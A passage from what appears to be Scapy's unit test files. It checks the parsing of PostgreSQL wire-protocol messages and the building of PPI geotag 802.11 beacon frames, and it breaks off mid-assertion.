b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\xff\\xff\\xff\\xff\\xff\\xff\\x00\"\n    b\"\\x00\\x44\\x00\\x00\\x00\\x85\\x00\\x01\\x00\\x00\\x00\\x7b\\x50\\x6f\\x73\\x74\"\n    b\"\\x67\\x72\\x65\\x53\\x51\\x4c\\x20\\x31\\x34\\x2e\\x32\\x20\\x28\\x44\\x65\\x62\"\n    b\"\\x69\\x61\\x6e\\x20\\x31\\x34\\x2e\\x32\\x2d\\x31\\x2e\\x70\\x67\\x64\\x67\\x31\"\n    b\"\\x31\\x30\\x2b\\x31\\x29\\x20\\x6f\\x6e\\x20\\x78\\x38\\x36\\x5f\\x36\\x34\\x2d\"\n    b\"\\x70\\x63\\x2d\\x6c\\x69\\x6e\\x75\\x78\\x2d\\x67\\x6e\\x75\\x2c\\x20\\x63\\x6f\"\n    b\"\\x6d\\x70\\x69\\x6c\\x65\\x64\\x20\\x62\\x79\\x20\\x67\\x63\\x63\\x20\\x28\\x44\"\n    b\"\\x65\\x62\\x69\\x61\\x6e\\x20\\x31\\x30\\x2e\\x32\\x2e\\x31\\x2d\\x36\\x29\\x20\"\n    b\"\\x31\\x30\\x2e\\x32\\x2e\\x31\\x20\\x32\\x30\\x32\\x31\\x30\\x31\\x31\\x30\\x2c\"\n    b\"\\x20\\x36\\x34\\x2d\\x62\\x69\\x74\\x43\\x00\\x00\\x00\\x0d\\x53\\x45\\x4c\\x45\"\n    b\"\\x43\\x54\\x20\\x31\\x00\\x5a\\x00\\x00\\x00\\x05\\x49\"\n)\n\n= row data response\n\ncommand_response = PostgresBackend(command_response_packet)\n\nassert len(command_response.contents) == 4\nassert isinstance(command_response.contents[0], RowDescription)\nrd = command_response.contents[0]\nassert rd.len == 32\nassert rd.numfields == 1\nassert rd.cols[0].col == b\"version\"\nassert rd.cols[0].tableoid == 0\nassert rd.cols[0].colno == 0\nassert rd.cols[0].typeoid == 25\nassert rd.cols[0].typelen == -1\nassert rd.cols[0].format == 0\nassert rd.cols[0].typemod == -1\n\nassert isinstance(command_response.contents[1], DataRow)\nassert command_response.contents[1].len == 133\nassert command_response.contents[1].numfields == 1\nassert len(command_response.contents[1].data) == 1\nassert isinstance(command_response.contents[1].data[0], SignedIntStrPair)\nassert command_response.contents[1].data[0].len == 123\nassert (\n    command_response.contents[1].data[0].data\n    == b\"PostgreSQL 14.2 (Debian 14.2-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit\"\n)\n\nassert isinstance(command_response.contents[2], CommandComplete)\nassert isinstance(command_response.contents[3], ReadyForQuery)\n\nthree_col_rd = RowDescription(\n    b\"\\x54\\x00\\x00\\x00\\x55\\x00\\x03\\x6e\\x61\\x6d\\x65\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x19\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x73\\x65\"\n    b\"\\x74\\x74\\x69\\x6e\\x67\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\"\n    b\"\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x64\\x65\\x73\\x63\\x72\\x69\\x70\\x74\"\n    b\"\\x69\\x6f\\x6e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\xff\\xff\"\n    b\"\\xff\\xff\\xff\\xff\\x00\\x00\"\n)\nassert three_col_rd.len == 85\nassert three_col_rd.numfields == 3\nassert len(three_col_rd.cols) == 3\n\nthree_col_dr = DataRow(\n    b\"\\x44\\x00\\x00\\x00\\x63\\x00\\x03\\x00\\x00\\x00\\x17\\x61\\x6c\\x6c\\x6f\\x77\"\n    b\"\\x5f\\x73\\x79\\x73\\x74\\x65\\x6d\\x5f\\x74\\x61\\x62\\x6c\\x65\\x5f\\x6d\\x6f\"\n    b\"\\x64\\x73\\x00\\x00\\x00\\x03\\x6f\\x66\\x66\\x00\\x00\\x00\\x37\\x41\\x6c\\x6c\"\n    b\"\\x6f\\x77\\x73\\x20\\x6d\\x6f\\x64\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6f\\x6e\"\n    b\"\\x73\\x20\\x6f\\x66\\x20\\x74\\x68\\x65\\x20\\x73\\x74\\x72\\x75\\x63\\x74\\x75\"\n    b\"\\x72\\x65\\x20\\x6f\\x66\\x20\\x73\\x79\\x73\\x74\\x65\\x6d\\x20\\x74\\x61\\x62\"\n    b\"\\x6c\\x65\\x73\\x2e\"\n)\n\nassert three_col_dr.numfields == 3\nassert len(three_col_dr.data) == 3\nassert three_col_dr.data[0].len == 23\nassert three_col_dr.data[0].data == b\"allow_system_table_mods\"\nassert three_col_dr.data[1].len == 3\nassert three_col_dr.data[1].data == b\"off\"\nassert three_col_dr.data[2].len == 55\nassert (\n    three_col_dr.data[2].data\n    == b\"Allows modifications of the structure of system tables.\"\n)\n\n= errors\n\nerror_response = ErrorResponse(\n    b\"\\x45\\x00\\x00\\x00\\x69\\x53\\x45\\x52\\x52\\x4f\\x52\\x00\\x56\\x45\\x52\\x52\"\n    b\"\\x4f\\x52\\x00\\x43\\x34\\x32\\x50\\x30\\x31\\x00\\x4d\\x72\\x65\\x6c\\x61\\x74\"\n    b\"\\x69\\x6f\\x6e\\x20\\x22\\x66\\x6f\\x6f\\x62\\x61\\x72\\x22\\x20\\x64\\x6f\\x65\"\n    b\"\\x73\\x20\\x6e\\x6f\\x74\\x20\\x65\\x78\\x69\\x73\\x74\\x00\\x50\\x31\\x35\\x00\"\n    b\"\\x46\\x70\\x61\\x72\\x73\\x65\\x5f\\x72\\x65\\x6c\\x61\\x74\\x69\\x6f\\x6e\\x2e\"\n    b\"\\x63\\x00\\x4c\\x31\\x33\\x38\\x31\\x00\\x52\\x70\\x61\\x72\\x73\\x65\\x72\\x4f\"\n    b\"\\x70\\x65\\x6e\\x54\\x61\\x62\\x6c\\x65\\x00\\x00\"\n)\n\nassert len(error_response.error_fields) == 8\nassert error_response.error_fields[0] == (\"Severity\", b\"ERROR\")\nassert error_response.error_fields[7] == (\"Routine\", b\"parserOpenTable\")\n\n= copy data response and request\n\ncopyin_response = CopyInResponse(b\"\\x47\\x00\\x00\\x00\\x0f\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n\nassert copyin_response.len == 15\nassert copyin_response.format == 0  # Text\nassert len(copyin_response.cols) == 4\nassert copyin_response.ncols == 4\nassert copyin_response.cols[0] == 0  # Text\nassert copyin_response.cols[1] == 0  # Text\nassert copyin_response.cols[2] == 0  # Text\nassert copyin_response.cols[3] == 0  # Text\n\ncopydata_in = PostgresFrontend(b\"\\x64\\x00\\x00\\x00\\x10\\x31\\x2c\\x42\\x6f\\x62\\x2c\\x32\\x33\\x2c\\x31\\x0d\" \\\nb\"\\x0a\\x64\\x00\\x00\\x00\\x12\\x32\\x2c\\x53\\x61\\x6c\\x6c\\x79\\x2c\\x34\\x33\" \\\nb\"\\x2c\\x32\\x0d\\x0a\\x64\\x00\\x00\\x00\\x14\\x33\\x2c\\x50\\x61\\x72\\x64\\x65\" \\\nb\"\\x65\\x70\\x2c\\x35\\x34\\x2c\\x33\\x0d\\x0a\\x64\\x00\\x00\\x00\\x0f\\x34\\x2c\" \\\nb\"\\x53\\x75\\x2c\\x33\\x32\\x2c\\x34\\x0d\\x0a\\x64\\x00\\x00\\x00\\x0f\\x35\\x2c\" \\\nb\"\\x58\\x69\\x2c\\x34\\x33\\x2c\\x35\\x0d\\x0a\\x64\\x00\\x00\\x00\\x0e\\x36\\x2c\" \\\nb\"\\x50\\x69\\x70\\x2c\\x36\\x36\\x2c\\x36\\x63\\x00\\x00\\x00\\x04\"\n)\n\ncopyout_response = CopyOutResponse(b\"\\x48\\x00\\x00\\x00\\x0f\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\nassert copyout_response.len == 15\n\n# Combined message\ncopydata_out = PostgresBackend(b\"\\x48\\x00\\x00\\x00\\x0f\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\nb\"\\x64\\x00\\x00\\x00\\x0f\\x31\\x09\\x42\\x6f\\x62\\x09\\x32\\x33\\x09\\x31\\x0a\" \\\nb\"\\x64\\x00\\x00\\x00\\x11\\x32\\x09\\x53\\x61\\x6c\\x6c\\x79\\x09\\x34\\x33\\x09\" \\\nb\"\\x32\\x0a\\x64\\x00\\x00\\x00\\x13\\x33\\x09\\x50\\x61\\x72\\x64\\x65\\x65\\x70\" \\\nb\"\\x09\\x35\\x34\\x09\\x33\\x0a\\x64\\x00\\x00\\x00\\x0e\\x34\\x09\\x53\\x75\\x09\" \\\nb\"\\x33\\x32\\x09\\x34\\x0a\\x64\\x00\\x00\\x00\\x0e\\x35\\x09\\x58\\x69\\x09\\x34\" \\\nb\"\\x33\\x09\\x35\\x0a\\x64\\x00\\x00\\x00\\x0f\\x36\\x09\\x50\\x69\\x70\\x09\\x36\" \\\nb\"\\x36\\x09\\x36\\x0a\\x63\\x00\\x00\\x00\\x04\\x43\\x00\\x00\\x00\\x0b\\x43\\x4f\" \\\nb\"\\x50\\x59\\x20\\x36\\x00\\x5a\\x00\\x00\\x00\\x05\\x49\")\n\nassert len(copydata_out.contents) == 10\nassert copydata_out.contents[0].len == 15\nassert isinstance(copydata_out.contents[0], CopyOutResponse)\nassert isinstance(copydata_out.contents[1], CopyData)\nassert copydata_out.contents[1].len == 15\nassert copydata_out.contents[1].data == b'1\\tBob\\t23\\t1\\n'\nassert isinstance(copydata_out.contents[2], CopyData)\nassert copydata_out.contents[2].data == b'2\\tSally\\t43\\t2\\n'\nassert isinstance(copydata_out.contents[3], CopyData)\nassert copydata_out.contents[3].data == b'3\\tPardeep\\t54\\t3\\n'\nassert isinstance(copydata_out.contents[4], CopyData)\nassert copydata_out.contents[4].data == b'4\\tSu\\t32\\t4\\n'\nassert isinstance(copydata_out.contents[5], CopyData)\nassert copydata_out.contents[5].data == b'5\\tXi\\t43\\t5\\n'\nassert isinstance(copydata_out.contents[6], CopyData)\nassert copydata_out.contents[6].data == b'6\\tPip\\t66\\t6\\n'\nassert isinstance(copydata_out.contents[7], CopyDone)\nassert isinstance(copydata_out.contents[8], CommandComplete)\nassert isinstance(copydata_out.contents[9], ReadyForQuery)\n\n= Check example request packet\n\nrequest = PostgresFrontend(\n    b\"\\x50\\x00\\x00\\x00\\x64\\x00\\x53\\x45\\x4c\\x45\\x43\\x54\\x20\\x44\\x5f\\x4e\"\n    b\"\\x45\\x58\\x54\\x5f\\x4f\\x5f\\x49\\x44\\x2c\\x20\\x44\\x5f\\x54\\x41\\x58\\x20\"\n    b\"\\x20\\x20\\x46\\x52\\x4f\\x4d\\x20\\x64\\x69\\x73\\x74\\x72\\x69\\x63\\x74\\x20\"\n    b\"\\x57\\x48\\x45\\x52\\x45\\x20\\x44\\x5f\\x57\\x5f\\x49\\x44\\x20\\x3d\\x20\\x24\"\n    b\"\\x31\\x20\\x41\\x4e\\x44\\x20\\x44\\x5f\\x49\\x44\\x20\\x3d\\x20\\x24\\x32\\x20\"\n    b\"\\x46\\x4f\\x52\\x20\\x55\\x50\\x44\\x41\\x54\\x45\\x00\\x00\\x02\\x00\\x00\\x00\"\n    b\"\\x17\\x00\\x00\\x00\\x17\\x42\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x02\\x00\\x01\"\n    b\"\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x04\"\n    b\"\\x00\\x00\\x00\\x0a\\x00\\x00\\x44\\x00\\x00\\x00\\x06\\x50\\x00\\x45\\x00\\x00\"\n    b\"\\x00\\x09\\x00\\x00\\x00\\x00\\x00\\x53\\x00\\x00\\x00\\x04\"\n)\n\nassert len(request.contents) == 5\nassert isinstance(request.contents[0], Parse)\nassert isinstance(request.contents[1], Bind)\nassert isinstance(request.contents[2], Describe)\nassert isinstance(request.contents[3], Execute)\nassert isinstance(request.contents[4], Sync)\n\n= Check parse decoding\n\nparse_msg = request.contents[0]\nassert parse_msg.len == 100\nassert parse_msg.destination == b\"\"\nassert parse_msg.query == b\"SELECT D_NEXT_O_ID, D_TAX   FROM district WHERE D_W_ID = $1 AND D_ID = $2 FOR UPDATE\"\nassert parse_msg.num_param_dtypes == 2\nassert parse_msg.params[0] == 23\nassert parse_msg.params[1] == 23\n\n= Check bind decoding\n\nbind_msg = request.contents[1]\nassert bind_msg.len == 32\nassert bind_msg.destination == b\"\"\nassert bind_msg.statement == b\"\"\nassert bind_msg.codes_count == 2\nassert bind_msg.codes[0] == 1\nassert bind_msg.codes[1] == 1\nassert bind_msg.values_count == 2\nassert bind_msg.values[0].len == 4\nassert bind_msg.values[0].data == b\"\\x00\\x00\\x00\\x14\"\nassert bind_msg.values[1].len == 4\nassert bind_msg.values[1].data == b\"\\x00\\x00\\x00\\x0a\"\nassert bind_msg.results_count == 0\n\n= Check describe decoding\n\ndescribe_msg = request.contents[2]\nassert describe_msg.len == 6\nassert describe_msg.close_type == b\"P\"\nassert describe_msg.statement == b\"\"\n\n= Check execute decoding\n\nexec_msg = request.contents[3]\nassert exec_msg.len == 9\nassert exec_msg.portal == b\"\"\nassert exec_msg.rows == 0\n\n= Check sync decoding\n\nsync_msg = request.contents[4]\nassert sync_msg.len == 4\n"
  },
  {
    "path": "test/contrib/ppi_cace.uts",
    "content": "% PPI/PPI_CACE/PPI_GEOTAG Global Campaign\n# Test suite extracted from PPI_GEOLOCATION_SDK.zip\\PPI_GEOLOCATION_SDK\\pcaps\\reference-pcaps\\ppi_geo_examples.py\n\n+ PPI Tests\n\n= Define test suite\n\nfrom scapy.contrib.ppi_cace import *\nfrom scapy.contrib.ppi_geotag import *\n\n\n\ndef Pkt_10_1():\n    \"\"\"GPS Only\"\"\"\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(Latitude=40.787743,Longitude=-73.971210)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:01\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.1\")\n    return PPI(raw(pkt))\n\ndef Pkt_10_2():\n    \"\"\"GPS + VECTOR + ANTENNA + RADIOTAP\"\"\" #No radiotap support yet...\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(Latitude=40.787743, Longitude=-73.971210),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=\"Antenna\", Pitch=90.0, Roll=0.0, Heading=0.0, DescString=\"Antenna-1 orientation\"),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=8,HorizBw=360.0,ModelName=\"8dBi-MagMountOmni\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-80,Antnoise=-110,Ch_Freq=2437)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:02\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.2\")\n    return PPI(raw(pkt))\n\ndef Pkt_10_3():\n    \"\"\"Direction of travel + one directional antenna, with Pitch in ForwardFrame\"\"\"\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0,  Heading=22.5, DescString=\"VehicleVec\"),\n            PPI_Hdr()/PPI_Geotag_Sensor(SensorType=\"Velocity\", Val_T=20.0),\n            PPI_Hdr()/PPI_Geotag_Vector(                  VectorChars=0x01,              Heading=90.0, DescString=\"AntennaVec\"),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName=\"SA24-120-9\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:03\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.3\")\n    return PPI(raw(pkt)) #Cause the fields to be built\n\ndef Pkt_10_4():\n    \"\"\"Two static directional antennas with offsets\"\"\"\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210, Altitude_g=2.00),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0, Heading=22.5),\n            PPI_Hdr()/PPI_Geotag_Sensor(SensorType=\"Velocity\", Val_T=8.5),\n            PPI_Hdr()/PPI_Geotag_Sensor(SensorType=\"Acceleration\", Val_T=0.5),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=90.0, Off_X=0.75, Off_Y=0.6, Off_Z=-0.2, DescString=\"Antenna1Vec\"),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName=\"SA24-120-9\",DescString=\"RightAntenna\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=270.0, Off_X=-0.75, Off_Y=0.6, Off_Z=-0.2, DescString=\"Antenna2Vec\"),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName=\"SA24-120-9\",DescString=\"LeftAntenna\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-95,Antnoise=-110,Ch_Freq=2437)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:04\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.4\")\n    return PPI(raw(pkt)) #Cause the fields to be built\n\ndef Pkt_10_5():\n    \"\"\"Similar to 10_3, but with a electronically steerable antenna\"\"\"\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=00.0, Heading=22.5, DescString=\"VehicleVec\"),\n            PPI_Hdr()/PPI_Geotag_Vector(                  VectorChars=0x01,             Heading=120.0, DescString=\"AntennaVec\"),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x010002,Gain=12,HorizBw=60,BeamID=0xF1A1, ModelName=\"ElectronicallySteerableExAntenna\", AppId=0x04030201),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:05\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.5\")\n    return PPI(raw(pkt)) #Cause the fields to be built\n\ndef Pkt_10_6():\n    \"\"\"Mechanically steerable antenna. Non-intuitive forward\"\"\"\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x06,  Heading=22.5, DescString=\"VehicleVec\"),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x00,  Heading=202.5, DescString=\"ForwardVec\"),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01,  Heading=75.0, DescString=\"AntennaVec\"),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x020002,Gain=12,HorizBw=60,ModelName=\"MechanicallySteerableAnt\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:06\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.6\")\n    return PPI(raw(pkt)) #Cause the fields to be built\n\ndef Pkt_10_7():\n    \"\"\"Drifting boat.\"\"\"\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude= 41.876154,  Longitude=-87.608602),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x04,  Heading=50.0, DescString=\"VehicleVec\"),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x02,  Heading=230.0, DescString=\"DOT-Vec\"),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01,  Heading=90.0, DescString=\"AntennaVec\"),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName=\"SA24-120-9\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:07\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.7\")\n    return PPI(raw(pkt)) #Cause the fields to be built\n\ndef Pkt_10_8():\n    \"\"\"Time of arrival analysis\"\"\"\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=\"Manual Input\", Latitude=41.861885, Longitude=-87.616926, GPSTime=1288720719, FractionalTime=0.20),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString=\"Antenna-1 orientation\"),\n            PPI_Hdr()/PPI_Geotag_Sensor(SensorType=\"TDOA_Clock\", ScaleFactor=-9, Val_T=60.8754, AppId=0x04030201),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName=\"8dBi-Omni\", DescString=\"Signal 1\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-60),\n            PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=\"Manual Input\", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString=\"Antenna-2 orientation\"),\n            PPI_Hdr()/PPI_Geotag_Sensor(SensorType=\"TDOA_Clock\", ScaleFactor=-9, Val_T=178.124, AppId=0x04030201),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName=\"8dBi-Omni\", DescString=\"Signal 2\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:08\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.8\")\n    return PPI(raw(pkt)) #Cause the fields to be built\n\ndef Pkt_10_9():\n    \"\"\"Time of arrival analysis(AOA)\"\"\"\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=\"Manual Input\", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString=\"Antenna-2 orientation\"),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString=\"AOA at Antenna-2\", AppId=0x04030201),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName=\"8dBi-Omni\", DescString=\"Signal 2\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:098\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.9\")\n    return PPI(raw(pkt)) #Cause the fields to be built\n\ndef Pkt_10_10():\n    \"\"\"Transmitter Position/AOA example\"\"\"\n    pkt = PPI(headers=[\n            PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=\"Manual Input\", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString=\"Antenna-2 orientation\"),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString=\"AOA at Antenna-2\", AppId=0x04030201),\n            PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x10, Off_Y=40, Err_Off=2.0, DescString=\"Transmitter Position\", AppId=0x4030201),\n            PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName=\"8dBi-Omni\", DescString=\"Signal 2\"),\n            PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\\\n        Dot11(addr1=\"FF:FF:FF:FF:FF:FF\",addr2=\"00:01:02:03:04:05\",addr3=\"00:01:02:09:01:0A\")/\\\n        Dot11Beacon()/Dot11Elt(ID=0,info=\"Test-10.10\")\n    return PPI(raw(pkt)) #Cause the fields to be built\n\ndef TestPackets():\n    \"\"\"Returns a list of test packets\"\"\"\n    return [\n    (\"10.1\", Pkt_10_1(), test_Pkt_10_1),\n    (\"10.2\", Pkt_10_2(), test_Pkt_10_2),\n    (\"10.3\", Pkt_10_3(), test_Pkt_10_3),\n    (\"10.4\", Pkt_10_4(), test_Pkt_10_4),\n    (\"10.5\", Pkt_10_5(), test_Pkt_10_5),\n    (\"10.6\", Pkt_10_6(), test_Pkt_10_6),\n    (\"10.7\", Pkt_10_7(), test_Pkt_10_7),\n    (\"10.8\", Pkt_10_8(), test_Pkt_10_8),\n    (\"10.9\", Pkt_10_9(), test_Pkt_10_9),\n    (\"10.10\", Pkt_10_10(), test_Pkt_10_10) ]\n\n= Pkt_10_1\na = Pkt_10_1()\nraw(a)\nassert raw(a) == b'\\x00\\x00\\x1c\\x00i\\x00\\x00\\x002u\\x10\\x00\\x02\\x00\\x10\\x00\\x06\\x00\\x00\\x006\\x89\\x99\\x83\\x9c\\xb52?\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\tTest-10.1'\nassert a.headers[0].present == 6\nassert a.headers[0].Latitude == 40.7877430\nassert a[Dot11Beacon].beacon_interval == 100\nassert a[Dot11Elt].info == b'Test-10.1'\n\n= Pkt_10_2\na = Pkt_10_2()\na.show()\nassert raw(a) == b'\\x00\\x00\\xa9\\x00i\\x00\\x00\\x002u\\x10\\x00\\x02\\x00\\x10\\x00\\x06\\x00\\x00\\x006\\x89\\x99\\x83\\x9c\\xb52?3u<\\x00\\x02\\x00<\\x00\\x1f\\x00\\x00\\x10\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80J]\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Antenna-1 orientation\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005u1\\x00\\x02\\x001\\x00\\x07\\x00\\x00\\x08\\x02\\x00\\x00\\x00\\x08\\x00*u\\x158dBi-MagMountOmni\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\t\\x00\\x00\\x00\\x00\\xb0\\x92\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x01\\x02\\t\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x00\\x00\\x00\\tTest-10.2'\nassert isinstance(a.headers[0].payload, PPI_Geotag_GPS)\nassert a.headers[0].present == 6\nassert isinstance(a.headers[1].payload, PPI_Geotag_Vector)\nassert a.headers[2].present == 134217735\nassert isinstance(a.headers[2].payload, PPI_Geotag_Antenna)\nassert a.headers[2].HorizBw == 360.0\nassert isinstance(a.headers[3].payload, PPI_Dot11Common)\n\n= Pkt_10_3\na = Pkt_10_3()\nassert raw(a) == 